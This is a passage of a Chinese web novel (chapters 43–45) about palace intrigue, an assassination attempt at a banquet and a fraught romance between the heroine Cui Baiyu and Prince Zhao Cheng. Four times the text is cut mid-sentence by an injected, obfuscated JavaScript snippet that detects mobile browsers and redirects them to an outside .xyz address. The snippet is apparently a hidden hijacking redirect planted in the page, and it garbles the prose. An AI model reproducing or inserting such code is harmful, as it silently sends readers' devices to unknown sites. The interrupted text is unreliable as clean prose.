悲伤的感情都溢出来了,像个走失的孩子,崔白玉静静地看着他,忽然有些不忍。 方叙言眼眶湿润,悬在空中的手无力地垂下,犹豫良久,终是把人紧紧拥入怀里,“你果然还活着……” 他微微弓着背,胸腔传来的震动。 崔白玉撞进那片温热,也说不清楚心里是什么感觉,但知道这世上还有这么一个人惦记着她,安全感忽然从四面八方漫上来,心头泛起细密的麻痒。 她这般想着,忽然肩头一重,方叙言喝醉酒,再加上情绪激动,就这么昏昏沉沉的晕了过去。 崔白玉顿时如泰山压顶,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431751|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙脚乱的扶住人,结果树后面忽然传来树枝踩断的声音。 猝不及防地,腰身被一条手臂揽住,一把将二人分开。 崔白玉后背撞到一个结实的怀里,脖子后头凉凉压下一只手,狠狠一捏。 常昭在一旁接住方叙言,听了吩咐赶紧带人离开,以免他再反悔,做出不可挽回的事。 诚然,这并不是他乱操心,就在前几日,陪着崔白玉在教坊司吃酒的几个小馆儿,已经将昭狱的酷刑都挨了个遍,在里面生不如死。 就他家殿下的情况,就跟得了红眼病的疯狗,什么事做不出来? 赵丞看到这一幕觉得天灵盖都要被怒气胀开了,脸上没什么表情,眼神却极具压迫力,“你对谁都如此轻浮?” 崔白玉挣开他的手,退了两步,跟他拉开距离,目光掠过他手上的披风,“……这也看对谁了,小侯爷吃醉酒,认不清人了,将我认错了。” 错认?赵丞知晓她在教坊司有不少的风流轶事,知道她勾人的本事一流,当年在江南琼晓阁一掷千金购买字画,送给探花郎博君一笑,已然成了一段假佳话,口口相传。 湖面凉风习习,崔白玉很自觉地将手里的披风拿来拢在身上,道:“惹宸王殿下不开心了?” 赵丞没说话。 崔白玉道:“都是逢场作戏罢了,宸王殿下应该最清楚不过了。” 昨夜看到影卫汇报消息,虽然那个几个小馆因为聚众赌博被抓,但很明显是冲着她来的。 可惜,他们都是太后派来监视她的人,不值得让她跟赵丞求情。 赵丞听了这话太阳穴突突直跳,也不知道是气的还是怎么着,“先回去。” 崔白玉道:“殿下还想问什么?” 赵丞道:“回去。” 崔白玉笑了笑,瞥见不远处走过来的人,愣了一下,眸色发冷,一言不发抬步离开凉亭。 “宸王殿下。”徐媛走过来,福身行礼。 赵丞还在想崔白玉方才的眼神,收回目光,淡淡地应了一声。 难得两人独处,徐媛脸颊泛红,如同芙蓉花般娇艳欲滴,“殿下也来这里散心?” 赵丞道:“清净。” “原来是这样,”徐媛想起方才看到的一幕,心下不禁微微一跳,捏了捏手指,“殿下,我方才看见方小侯爷和长乐郡主,他们……” 赵丞道:“认错了。” 她比赵丞来得早,几乎是目睹全程。徐媛脚步踉跄了一下,努力身上他的步伐,追问道:“那殿下和长乐郡主的传闻,殿下没有什么想跟我说的?” “此事与你无关,”赵丞驻足回首,脸上没什么表情,“婚事本王已经说清楚了,不作数。” 孝元帝一直都想给赵丞赐婚,徐媛的父亲猜到这一点主动提出让她去当宸王妃的候选人。 可听闻宸王是习武之人,她见过不少军营的武将都是胡子拉碴,不修边幅。 和粗鄙不堪的武夫如何过日子? 两人不曾见过面,来京城之前她的心情相当忐忑,生怕嫁错人蹉跎一生。 可在城楼,她看到赵丞统领镇北军,第一面就被惊艳到了。 少年将军,金戈铁马,决胜千里。 已然是她高不可攀的存在。 而且宸王殿下并非如传言那般凶狠残暴,反倒是个心思细腻之人。 徐媛听着他的话,目中盈满泪光,在原地站了许久未回过神。 而就在此时,宴席方向传来惨叫。 “有人行刺!” 43. 刺杀 宴席马上就要的结束的时候,齐嬛由宫人搀扶正准备离场。 忽然,在不远处的房檐上飞过来一支箭矢,射中了齐嬛的手臂。 伴随着一阵尖叫声,惊飞了檐下栖息的夜枭。 安德友反应过来,拽着身边的几个小太监用身子挡住齐嬛,指挥道:“有刺客,快带着太后离开这!” “有刺客!” “快跑啊!” “保护大人!” 众人惊恐地大喊,宴席陷入一片混乱。 崔白玉还未来得及站稳身子,就被人群撞的东倒西歪,好在徐净空从她身边走过,在暗中拽住了她。 两人不能在明面上有太多交集,徐净空在她耳边说了句,“刺杀有问题。”便拢着宽大的袖袍离开。 崔白玉心头一紧,抬头望着箭矢射来的方向,温和的神情褪去,眸子尽是森冷。 宫女太监如受惊的蚁群般四散奔逃。 崔白玉未动。 下一刻,在黑暗中箭矢破空而出,带着尖锐的破空声,朝着她射过来。 弩箭泛着幽蓝的光,显然是淬了毒,一旦射中,见血封喉。 居然是冲着她来的! 崔白玉本能地想要躲避,但那弩箭速度极快,根本躲不开。 千钧一发之际,箭矢被暗器和另一只箭同时劈开。 “郡主!”梅奕忽然现身,挡在崔白玉面前。 赵丞慢慢放下手里的弓箭,眼中闪过凶光,站在高处居高临下地俯视着二人。 暗器是梅奕,箭矢是赵丞?崔白玉抬头望着那人,自然而然地握住梅奕的手腕,只有声音听上去极其冷静,“行宫情况如何?” 梅奕低声道:“已经拦下了。” 果然是这样,刺杀赵丞不过是齐嬛的一个小把戏,她真正目标是孝元帝。 皇帝驾崩,太子即位,之后,赵丞有任何举动便是谋反。 想声东击西,崔白玉冷然一笑,攥着梅奕的手腕仍是没有分开。 眼下的局势,她怎么可能让齐嬛得逞?两方掣肘的局势一旦被破解,矛头就会对准她。 崔白玉尚且还不能和太后或者赵丞仍和一方对抗,自然不会让一方得势。 一分析起事情来,她的眼神就变得格外透亮。 徐净空在暗处静静地观察着崔白玉的一举一动,蓦然间发现自己好像寻到了一个厉害的盟友。 大概又过了一炷香的功夫,席间,没离开的人除了崔白玉,还有几位。 久经沙场的将军,自然不会被两支箭吓破了胆子,祁晏临冷哼一声,从位子上站起身,朝着箭矢射过来的方向走去。 果不其然,在一间屋子的屋檐下发现一架经过精心改装的强弩,弩身小巧却透着冷冽的杀机。 崔琅华一直紧紧地盯着那位长乐郡主,心中的愈发困惑。 方才宴席人多眼杂,宫里头都是人精,所以顾忌着身份,没有细细打量,现在人群散去,崔白玉站在那里,异常瞩目。 赵丞走过来,崔白玉微不可察地挪了一步和梅奕挨得更近。 今晚刺杀的目标是赵丞,为何会变成齐嬛?安德友找来太医安置好齐嬛,过来询问情况,看到崔白玉脚尖被劈开的箭矢,心下一惊,“郡主有没有受伤?” 崔白玉摇了摇头,道:“太后情况如何?” “已经让太医处理过来,没伤到筋骨,”安德友走到她旁边,低头瞧了一眼,“怪了,这支箭上面涂了毒。” 言外之意,便是提醒赵丞射中齐嬛的箭没有毒。 崔白玉也领会了其中的意思,并未吭声。 皇宫内外皆是重兵把守,寻常刺客如何潜伏进来? 齐嬛为了避免事发后暴露自己手中的势力,将安排刺客的事交给了崔白玉。 所以刺客是祁嬛的人,但是她带进来的。 齐嬛已经想杀她了? 安德友望着这一切,叹了口气,道:“皇城已经戒严,这调查刺客的事,就交给大理寺——” 赵丞打断他,道:“锦衣卫接手。” 烫手的山芋还有主动接的?祁晏临瞧了一眼崔白玉,没有说话,徐净空亦是如此。 而安德友是赵丞的人,自然不会说什么,“也好,也好,那就麻烦宸王殿下了。” 崔白玉认真地看了地上的箭矢一眼,好似想到什么,倏地收回视线。 在刀刃上涂毒不正是花枕那个阴暗小人的作风? 花枕早就想杀她了,但是一直没有行动,今日怎就按耐不住了? 一阵冷风拂过,崔白玉忽然咳了起来,且越咳越厉害,梅奕反手握住她的手腕,“郡主。” 崔白玉揉了揉眉心,胸口有点堵得慌,脸色泛上红晕,声音虚弱,却字字清晰:“身子不适,就不陪着诸位查案了。” 说罢,梅奕便搀着她离开了宴席。 事情到了这里,众人都心里明白,崔白玉不愿配合查案,安德友转过身,对上赵丞的目光,被他阴冷的气势浑身一个激灵,瞬间又觉得精神一振。 赵丞跟着离开。 今日的刺杀,崔琅华也能看出端倪。 虽说鹬蚌相争渔翁得利,但崔白玉这个渔翁还不足以完全掌控各大世家,所以她怎么可能让戏台子提前散了?他看向身边的徐净空,尽量表现得自然,问道:“长乐郡主一直待在的太后身边?” 徐净空笑了笑,“崔大人何意?” 两人长得太像了,无论是容貌,身形,还是声音,几乎都一摸一样,他唯一能感受到的就是两人的气场不同,崔白玉争强好胜,娇纵蛮横,没有太深的城府,所以一眼就能让人瞧出心思,可长乐郡主唇角总是挂着恰到好处的浅笑,教人分不清是亲和还是算计,这是她妹妹所不能及的,崔琅华实在不懂,到底哪里出了问题。 气氛再次陷入漫长的沉默里。 安德友道:“二位怎么不说话了?” 徐净空道:“最近政务繁冗,崔大人日理万机,方才又吃了酒,精神不济在所难免,还是早些回去罢。” 崔琅华心里头经过一阵痛苦的煎熬,抑住重重心事,勉强一笑,“长乐郡主作为女子,倒真是让人刮目相看。” 一听这话,徐净空意味深长地说道:“长乐郡主爱听曲儿,崔大人若是有什么想问的,有时间可以去桑榆舞坊,兴许能碰见。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443933|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>崔琅华情绪慢慢稳定下来,问道:“你见过?” 徐净空笑道:“长乐郡主的那点事人尽皆知,崔大人就没听过了?” 酒色财气皆沾上了,宸王究竟看上了她什么?祁晏临实在听不下去了,甩了一下袖子,愤然离开。 崔琅华微微一怔,欲言又止。 坤宁宫,鎏金香炉升起的青烟裹着龙涎香。 齐嬛靠在美人榻上,指尖慢条斯理转动着鎏金护甲,眉眼间没有半分病弱之态,只有杀意,冷声道:“一群废物,哀家养了你们这么久,这点事都办不成?” 殿内的丫鬟齐齐屏息,跪在地上不敢抬头。 齐嬛继续说道:“今日设宴,哀家把那些碍事的都叫过来帮你分担压力,可你还是失手,你怎么还有脸回来见哀家?” 行宫只剩一群手无缚鸡之力的宫女和太监,她完全可以接着这个机会一把火烧了太初宫。 花枕跪在地上,过了好一会儿,“属下派人,伪装成宫女已经在殿内的熏香动了手脚,不知怎么,那把火就是没烧起来。” 齐嬛皱眉道:“派过去几个废物?” 这么大的事,谁敢拿几个废物应付了事,她派出去的可都是精锐,花枕心里也憋着一股子气,“她们的功夫是属下亲自教的,寻常的侍卫根本奈何不了她。” 想了片刻,齐嬛问道:“她们人呢?” 花枕如实道:“没有找到,应该是出事了。” 没找到就是死了,齐嬛蹙眉道:“你是想说皇帝身边藏了人?” 花枕道:“属下一直觉得此中有蹊跷,这次行事只有属下一人知晓,如果不是早有防范,不可能连火都点不起来。” 齐嬛垂下眼睑,腕间玉镯撞出细不可闻的声响,“你是说崔白玉?” 花枕将头压得更低,没有说话。 齐嬛道:“所以你就擅自行动,派人暗杀她?” 此时此刻,花枕的里衣早已被冷汗洇透,苍白的唇瓣抿出淡淡血色。 不说话就是默认了,齐嬛脸色逾发阴沉,目中露出疑虑之色,沉声道:“下去领罚。” 如今,崔白玉藏得太深,功名利禄根本诱惑不到她,好多事愈发不好掌控,给点教训倒也未尝不可。 长乐郡主刺杀的事不了了之,但太后遇刺,整个皇宫上下戒严。 崔白玉凭借着自己的脸,顺利乘着马车出宫。等到马车行至昌远大街,她忽然叩了一声门板,“改道去宸王府。” 梅奕不明所以,但还是照做了。 过了一会儿,崔白玉站在宸王府门口,亲自敲响了王府的大门。 赵丞刚安排完城中的禁军的布防,回来的时候正好就瞧见了这一幕,语气仍是不善:“你在做什么?” 崔白玉收回手,回头看他,四周又静了下来。 不知过了多久,赵丞走到她面前。 崔白玉吸了吸鼻子,一副哭过的模样,好似相思成疾,“我有些不放心太子殿下,过来瞧瞧........” 眼看赵丞眉间满是戾气便要发作,她又改口道:“宸王殿下,不想我过来?” 尾音微微上扬,像春藤绕着人的心头。 44. 夜谈 夜色浓重,一阵风掠过,树枝在风中轻轻晃动,发出窸窸窣窣的声响。 崔白玉缓了口气,拢了拢披风,“殿下现在连王府的大门都不打算让我进了?” 赵丞手搭在刀柄上,不动声色地看着她。 前事不忘后事之师,崔白玉心底感慨了一句,上次吃了苦头,这次也不敢太放肆,“殿下瞧什么呢?” 赵丞抬了抬眼皮,缓慢无声地打量着眼前人,冷冷地说道:“不见棺材不落泪。” “原来殿下是这么想我的,”崔白玉松了松肩膀,颇为无奈地说,“可殿下押着我的人,要是殿下不想看到我就把人放了吧,我保证再也不会出现再这碍殿下的眼。” 赵丞没说话,抬脚绕过她,崔白玉眼皮重重一跳,心内疑惑至极,让梅奕留在外面看着马车。 等到了书房,丫鬟上前接过赵丞手里的刀,安置在刀架上,紧接着,吩咐下人端着茶水进屋。 崔白玉瞧着二人,不知道在想什么,过了一会儿,道:“殿下既然不肯跟我做交易,又为何紧盯着我不放呢?像我这种人,再怎么折腾也翻不了天,殿下有时间盯着我,不如多留意齐阁老的动向。” 赵丞净了手,一面擦干水迹一面反问道:“你安分了?” 人在尴尬的时候要会掩饰,首先若无其事地喝茶,然后摆出一副深思熟虑的模样。 崔白玉做完以上步骤,须臾感慨道:“赵辛做个藩王没什么不好的,京城是非多,离开这再好不过了。” 赵丞道:“你也是这么哄太后的?” “那倒不是,太后比你好说话,只要每年交上钱就可以,”崔白玉望着那双狭长的眼眸,心思又不由自主地偏了,停顿了一下,掩饰性地收回目光,“我为太后做事不假,但殿下也应该体谅一下我的难处,我只是想护太子殿下周全,无意与殿下为敌。” 赵丞道:“你认为我会放过你?” 崔白玉笑了一下,“殿下想如何?如果能让赵辛离开,我自然什么都愿意做的。” 说得倒是好听,可赵丞哪里不知道她当面一套背后一套的手段,“什么都愿意?” 崔白玉道:“不能给殿下当王妃,当个妾室也挺好的,再不济,就当个外室。” 赵丞阴沉道:“跟我谈不成,你还想跟谁谈?” 崔白玉大言不惭的说:“没有了。” 赵丞加重语气又问了一遍:“方叙言还是陆镇?” 崔白玉:“..............”已经进化到这个地步了吗? 她的心思,赵丞已经能猜得一分不差了,这合理吗? 崔白玉脸色一阵青一阵白,心累到了极点,脑子也转不动了,“殿下要是这么想,我也无能为力。” 不知怎得,她现在头疼的厉害。 烛火摇曳,赵丞摩挲着手上的玉扳指,望着崔白玉的鼻尖,目光寸寸碾过,最终停留在颈间微不可查的红点,沉声道:“过来。” 崔白玉笑容不自觉的僵了一下,一时竟是说不出话来,起身走过去。 赵丞将她的领口扯开了些,正要开口,忽然腰间一松,脸色黑如锅底。 腰带掉落在地上,崔白玉意识到自己会错意,手僵在赵丞的腰间没敢动,但隔着一层单薄的衣衫,能感受到滚烫的热意不断从他身上传来。 赵丞一双漆黑的眼幽幽生寒,道:“毒溅到身上了。” 崔白玉:“.............” 这副样子实在是有些失礼了,可为什么会在他面前发生这种尴尬的事? 室内一片安静,落针可闻,赵丞看了她一眼,弯腰从地上捡起腰带,重新系好,转身从后面的柜子里取出来一瓶药。 崔白玉闷闷地站了一会儿,道:“殿下,我有个问题想问你?私事。” 赵丞没有立即说话,盯着她的脸庞看了一会儿。 崔白玉眼神恍惚了几下,脸部红心不跳的问道:“殿下不喜欢接吻吗?”还是只嫌弃她? 赵丞闻言,太阳穴穴突突的跳了两下。 崔白玉瞥着他的脸色,忽然想起他技术生疏,差了点意思。 所以没有过其他人?可一个王爷身边怎么会没有人呢? 短暂的沉默后,赵丞手上加重了力道,崔白玉“嘶”了一声,回过神来,略显局促地看了看他。 赵丞上好药之后,就将东西收拾起来,开口道:“你插手行宫的事,不怕太后起疑心?” 他竟然知道?崔白玉一脸诧异:“殿下既然知道,为何不派人过去?” 赵丞眉眼间充满戾气,冷冷道:“他死了不会对我造成任何影响。” 那不是你爹吗?这么炸裂的发言,看来是黑化值已经拉满了。 这会儿,赵丞对她还算不错,崔白玉壮着胆子问道:“陛下不是一直很喜欢你吗?” 赵丞直接了当的说道:“他看上的是镇北军的兵权,逼死母妃之后,就活成了一个笑话。” 崔白玉曾听安德友说过,建朝以来,孝元帝是最擅帝王之术的人,前无古人后无来者,可惜慧极必伤,机关算尽的同时,也把自己算进去了。 他大概也没料到自己对祁太妃浓烈的爱意。 一切都是死后幡然悔悟。 沉默许久,崔白玉下意识地摸了一下脖子,赵丞抬手将其拦下,“你可以回去了。” 不知道是心虚还是怎么,二人目光一触,崔白玉心中砰砰跳,听到这话,心底有点失落。 过了一会儿,崔白玉笑了起来,眉毛恰到好处地一弯,眸光流转间似有水光荡漾,“既然不留我,那就不叨扰了殿下了。” 此路行不通,那就只有换条路了。 赵丞眼眸里飞快闪过一丝阴霾,没有说话。 常昭送她离开王府,见马车调转了方向不禁心头疑惑。 回东宫可不是那个方向,都这么晚了,这厮还要去哪? 他带着消息又回到书房,回禀道:“殿下,她没有回东宫,而是去往西北方向,属下已经派人跟上了。” 赵丞不悦蹙眉,气质冷漠而强势。 天明时分,天际线泛起一丝鱼肚白。 侍卫匆匆来报,低声道:“长乐郡主......在教坊司留宿一晚。” 一瞬间,赵丞万分难看的脸色,连杯子都捏碎了。 外头汇报军务的将士被骇了个惨,大气都不敢喘。 昨夜耽搁得太晚,再加上困得不行,崔白玉想了想,索性找了一个近处睡下,将就一晚。 可惜,教坊司的床榻不比东宫,一觉醒来睡得腰酸腿疼,眼底也青了一片,好似被掏空了身体。 崔白玉裹着被子坐起身,还未睁开眼,就闻到了一股甜腻的桂香,甜得教人喉头发紧。 金玉端着早点放在桌上,将帷幔挂起来,帮着她穿上了靴子,谄媚道:“奴家给郡主松松骨头?” 眼前的少年乌发松松绾着珊瑚珠钗,几缕碎发垂落耳畔,桃花眼尾点着丹蔻,长相娇艳却不张扬。 “你的手艺我可不敢恭维,”崔白玉站起身,伸了一个懒腰,“真是奇怪了,你居然没被带走。” “奴家一没赌钱,二没放贷,清白得很,”金玉努了努嘴,“倒是郡主,心真狠,奴跟了你这多年,你居然盼着奴家被那只疯狗捉去。” 崔白玉道:“疯狗?” “可不是嘛,逮谁咬谁,”金玉一边揭开食盒,一边跟她念叨,“不知道还以为这里有人给他戴绿帽子!” 崔白玉坐在桌前,抿唇不语。 “不提他了,怪晦气的,”金玉哼着小曲儿,贴在崔白玉的身上,端着酒杯送至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448882|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔白玉的唇边,“尝尝,奴家酿的桃花酒。” 崔白玉抬手去拿酒杯,见金玉不撒手,便低头抿了一口,金玉眼里的光芒愈发夺目,问道:“如何?” 崔白玉淡声道:“还不错。” 金玉努力半年的成果就换来这么一句话,不由得轻轻哼了一声,倒下身子枕在崔白玉的大腿上,抱怨道:“郡主好长时间不来陪奴家,今日来了也不给奴家带个礼物。” 崔白玉不喜欢年下恋,操心又费神,还是大几岁的好,可她又担心比她大的不好掌控,所以也就没在情爱上多费心思,对金玉只是当弟弟在照顾。 她道:“带了的,你去那条裙子翻翻。” 金玉睁大眼睛,果断拎着衣服起身,旋即,在架子上找到一个荷包,打开一看,惊喜道:“是红玉!” 红色的玉石较为稀少和珍贵,千金难求。 崔白玉神色淡淡,眼皮下只有一条细缝,一小口一小口的喝了半碗南瓜粥。 金玉小心翼翼地捧在手里,放在阳光下端详许久,等看够了,又凑到崔白玉身边,感激道:“郡主待奴家真好!” “有奶就是娘,有钱就是爹,”崔白玉把人往外推了推,“给你也不过是当了换钱。” 金玉哼哼了几声,撒娇道:“郡主,奴家小时候可真的穷怕了,不然也不会在这卖身,要奴家说,这金银首饰统统都不如白花花的银子有用!” 这倒也是实话,崔白玉无奈道:“你这么爱撒娇,梅奕怎么受得了你?” “我和他是光屁股长大的好朋友,他不会嫌弃我的,”金玉把玩着手里的红玉,爱不释手,说起了正事,“最近城里都在议论郡主的婚事,郡主有什么打算吗?” 崔白玉满意地嗯了声,“我知道的,所以想请你帮个忙.........” “郡主放心,”金玉抬手拍了拍胸脯,信誓旦旦地说:“你是我们兄弟俩的救命恩人,奴家一定把郡主伺候好——” 然而话音未落,房间的门蓦然被推开。 一道高大挺拔的人影突然映入眼帘,崔白玉整个人都怔住了,对上他的目光,仿佛连心跳和呼吸都被掌控。 有那么一瞬间,她真想举起双手以示清白。 金玉环着崔白玉的腰身,躲在了她的身后。 赵丞一双眸子阴沉狠厉,心里翻腾的怒意几乎冲破了喉口,沉声道:“崔瑜。” 两人面面相觑,崔白玉微微一侧身,拍了拍金玉的手,把声音压得很小很小,“快起来,别跟被抓奸似的。” 赵丞死死盯着她,呼吸时断时续,恨不得把崔白玉身上的人活剥了。 金玉试探性地松开了一点,又瞧了一眼崔白玉,这才彻底松开了手站到她身后,“郡主,奴家怕........” 都这个节骨眼了,还演呢,你不要命了? 崔白玉心底生出畏惧的念头,勉强维持着面上的镇定,缓缓开口道:“殿下大早上就来这里吃花酒?金玉认识几个漂亮的姑娘,我让他把人给你叫来。” 还金玉金玉的叫,赵丞一想到她还未叫过自己的名字,顿时火气更盛,“都滚出去。” 此时此刻,赵丞身上的杀意藏都藏不住,金玉心神俱颤,猫着腰,脚底抹油溜出了房间。 情况不容乐观,好在崔白玉装了多年,八风不动,道:“殿下昨晚刚把我赶出来,今天怎么又找来了?” 赵丞没作声,大步朝她走过去。 高大的身躯一点点向她倾靠,崔白玉猛然站起身下意识要后退,然而她身后是案几,退无可退。 有时候,赵丞真的很想活活撕了她,口气不冷不热:“你分明什么都知道。” 崔白玉贴在结实的腰腹间,眼神复杂,似乎有许多话要说,可最后只有一声轻笑,“殿下在说什么?我不懂。” 45. 赐婚 金玉站在外面听着屋里的动静,便知道崔白玉发了脾气。 原来这样的大人物也有不顺心的时候。 可人干嘛和自己过去,人生几十年,世间的事情就像是风中的风声,过去了就是过去了,倒是你越在意什么,什么就会折磨你,所以该忘的忘,该放的放。 大约过了一个时辰,金玉再次来到门口,轻轻敲了几下门板,“郡主,奴家有个好消息要说。” 崔白玉裹着被子躺在床上,眼眶发胀发酸,却连一滴眼泪都流不出来,良久,道:“进来。” 声音有些沙哑,金玉诶了一声,走进屋子,心下一惊,下意识将屋里损坏的物件折合成银子,霎时间,连哪舌根都泛起苦意。 崔白玉抬眸看着他,脸色缓和一些,“找桃酥。” 金玉还是心疼银子,瞧着地上的瓷碗,唇角咧了咧,表情哀伤又透着委屈,“徐大人那边,帮郡主安排方小侯爷见面了。” 话落,崔白玉的手指似是无意识地轻微屈伸了几下,缓缓坐起身,眼底闪过一丝精光。 她就知道,人生是起起落落! 一条路行不通就换一条,什么都捏在手里,肯定难受,握不住的沙,扬了也罢! 金玉见她心情好起来,绕过地上的碎瓷片帮着她穿衣服,苦头婆心的规劝:“郡主也别想不开,宸王这种人,不是咱们能惹得起,以后见面绕开就行了,天天一张死了老婆的脸,路过的狗都觉晦气。” 崔白玉听了这话心里畅快不少,眸中漾起一丝微不可查的笑意,“那要是躲不掉呢?” 金玉道:“郡主,自古英雄难过美人关,男人吗,除了财,便是色,郡主两样都有,只要稍微放下一些身段,宸王没准就是裙下臣了。” 崔白玉低头看着红肿的脚踝,果断否定了这个计划,“我是那种随便的人?” 人都有七情六欲,她也不能免俗,风月之事,可不能陷进去,她和赵丞已然到此为止。 至于为什么和他在床上滚一遭,她只当正常的生理需求。 金玉咂摸了一下嘴,盯着她看了一会儿,笑道:“郡主不是?” “看来我这恶女人设真是坐实了。”崔白玉揉了揉眉心,发现疲惫的不只是身体,更多的是精神。 金玉心中凛然,而就在此时,梅奕敲门进了房间,“郡主,太子殿下回宫了。” 崔白玉一愣,“宸王把人放了?” 梅奕点了一下头,道:“陛下亲自下旨,让宸王把人送回去。” 崔白玉抿了抿唇,面上的憔悴之色又多一分,也没在说话。 一个时辰前,太初宫。 孝元帝穿着古铜色府绸长袍,认真地翻看着手里的名册,半晌,皱着眉头略带讶异的声音问道:“这些人他都不满意?” 纸包不住火,就算他这次瞒天过海,下次也得露馅,周正德为君分忧的心一沉,迟疑的说道:“陛下,奴婢有些话,一直没说。” 孝元帝合上册子,抬眸看他,眼神似有实质的锋芒掠过,令人震颤。 尽管荒废朝政多年,可到底是皇帝,长期处于权力巅峰、掌控天下生杀予夺大权所沉淀出的气势,不可侵犯。 今日的场景,就和当年御驾亲征,收复江北的气势不减分毫。 周正德吓得跪在地上没敢动,跟个鹌鹑似的,和盘托出道:“宸王殿下,前几日和一位女子传出了一些流言蜚语。” 都吓成这样了还流言蜚语呢?怕不是坐实了,孝元帝道:“那名女子是谁?” 周正德咽了口唾沫,颤声道:“是当年太后册封的长乐郡主,齐南笙。” 孝元帝太阳穴上的血管突突跳动。 “但也不尽然,”周正德继续说道,“奴婢曾经和她打过交道,她的真实身份是崔学士的妹妹崔白玉,当初殿下就是在她手底下当的侍卫。” 倒是可以治个欺君之罪!孝元帝道:“她那边什么态度?” 周正德道:“说不好,这个长乐郡主,不简单,生活作风也差了些,有种初生牛犊不怕虎的感觉。” 孝元帝道:“差了些是差多少?” 周正德头埋得更低,低声道:“宸王殿下把那些曾经和她厮混过的人都抓起来了,现在身边干净不少。” “荒唐!”孝元帝声音低沉而富有穿透力,却如平地炸响的惊雷。 周正德伏在地上不敢说话,半晌才喘过一□□气儿。 孝元帝并非两耳不闻窗外事,反而心中跟明镜儿似的,近两年长乐郡主风头正盛,做的那些事大大小小都听了不少。 年纪轻轻,就琢磨歪门邪道,她算计着别人,别人也算计着她,就这种情况,没个倚靠早晚阴沟翻船,而这两年推行的新政,齐嬛显然没那个脑子,但却把政绩都扣在了自己头上,把她彻底择出去。 如今两手空空,长乐这个人精怕是早就琢磨换条船了。 然而在众人眼里,她要保住太子便是和赵丞作对,谁敢轻易和她谈合作? 齐嬛又怎会放过她? 就说前几日修园子,齐嬛从户部的账上划了二十万两,划的不就是兖州这笔粮饷。 北疆南北两路乱势猖獗,要是派兵出关,需要各省筹拨,朝廷各处都要钱,等到了梅雨季还要拨赈灾粮,此时唯有精打细算,能省一文就省一文,不料齐嬛大手一挥,银子就长腿跑了,苦和泪都得自己咽下去。 孝元帝看似还认真思考了一下,不自觉地勾了勾嘴角,道:“一会儿派人去王府说一声,把太子送回去,然后再拟道旨,儿子既然喜欢,那就赐婚罢。”反正他押着人就是这个意思。 赵丞天性冷血又掌控欲十足,这点显然是随了他。 桑榆舞坊,崔白玉忘了当时为什么取这么一个名字,琢磨半天,想起她之前住的别墅后面有一棵榆树。 可能是怀念以前混吃等死的日子,也可能是想垂老之年,隐居田园。 反正不可能是想家,崔白玉对家没有概念,只是可惜没能留在那个时代。 舞坊生意不错,台下人来人往,还算热闹,可也填不上户部那个大窟窿,她坐在角落的桌子,看着台上的舞女意兴阑珊,恍恍惚惚地走,出门右拐去隔壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461013|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的店铺买胭脂。 本以为在这混一下午能遇见方叙言,奈何天不随人愿,遇见的是他娘。 侯夫人是特意过来找她,崔白玉听言,便在舞坊挑了一个僻静的房间。 崔白玉示意丫鬟倒茶,见侯夫人抬手制止,便知道对方不是个好脾气。 两人没有任何交集,但侯夫人知道崔白玉为人不善,极有手腕,她努力维持着表面的客气,“不必了,今日我来只有几句话同郡主讲。” 崔白玉道:“您说。” 长久的沉默之后,侯夫人缓缓开口道:“听闻,郡主和叙言有过一段往事,我本来是不信的,可没想到,他竟然把玉佩都交出去了.......叙言的婚事,我们另有打算,所以还请郡主断了他的念想。” 玉佩是他的没错,可送回去不久承认了她的身份?方叙言把事情都说出去了?崔白玉心中兀自犹豫。 侯夫人以为她不愿归还,语气徒然加重,“郡主,今日我必须把话说明白,叙言是侯府的独苗,将来娶妻生子,必然是要经过我们同意,你们不合适。” 合不合适也由不得你说了算,崔白玉随口问道:“小侯爷人呢?” 侯夫人还是端端正正地坐着,面色却凝重不少,说道:“私相授受,自然是要挨家法的。”老侯爷今天早上抽了三十戒鞭,人已经昏迷不醒了。 这话有点煞风景的意思,崔白玉道:“侯夫人到底有不满意的?” 侯夫人嗤笑一声,没说话,但也什么都说尽了。 